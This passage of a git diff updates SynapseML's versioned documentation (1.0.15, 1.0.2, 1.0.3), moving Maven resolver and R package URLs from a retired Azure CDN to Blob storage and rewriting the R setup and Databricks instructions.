coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.15` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.15/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.15/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.15/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.15/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.15/Reference/R Setup.md b/website/versioned_docs/version-1.0.15/Reference/R Setup.md index a9b7b9ba1c6..3c7ba135cab 100644 --- a/website/versioned_docs/version-1.0.15/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.15/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.15.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.15.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.15.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.15.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.15.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.15.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.15.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.15" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.15` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.15 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.15.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.2/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.2/Explore Algorithms/Deep Learning/Getting Started.md index 723270d19e1..7345be333e0 100644 --- a/website/versioned_docs/version-1.0.2/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.2/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.2 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.2 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 503af9c558c..0b0402a40db 100644 --- a/website/versioned_docs/version-1.0.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.2/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.2 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.2/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.2/Get Started/Install SynapseML.md index 1af8bf1f10c..22288a3680b 100644 --- a/website/versioned_docs/version-1.0.2/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.2/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.2", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.2 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.2") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.2 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.2" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.2` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.2/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.2/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.2/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.2/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.2/Reference/R Setup.md b/website/versioned_docs/version-1.0.2/Reference/R Setup.md index 7272697f61f..b9e85c3ede0 100644 --- a/website/versioned_docs/version-1.0.2/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.2/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.2.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.2.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.2.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.2" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.2` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.2 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.2.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.3/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.3/Explore Algorithms/Deep Learning/Getting Started.md index 694acec8f0c..3d26afb5fa6 100644 --- a/website/versioned_docs/version-1.0.3/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.3/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.3 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.3 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 32df597c019..3e6a24d5763 100644 --- a/website/versioned_docs/version-1.0.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.3 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.3/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.3/Get Started/Install SynapseML.md index 7a10850c83e..521afa411cd 100644 --- a/website/versioned_docs/version-1.0.3/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.3/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.3 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.3") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.3 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.3" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.3` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.3/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.3/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.3/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.3/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.3/Reference/R Setup.md b/website/versioned_docs/version-1.0.3/Reference/R Setup.md index d9ff17c50cf..e85fa58ced8 100644 --- a/website/versioned_docs/version-1.0.3/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.3/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.3.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.3.zip") 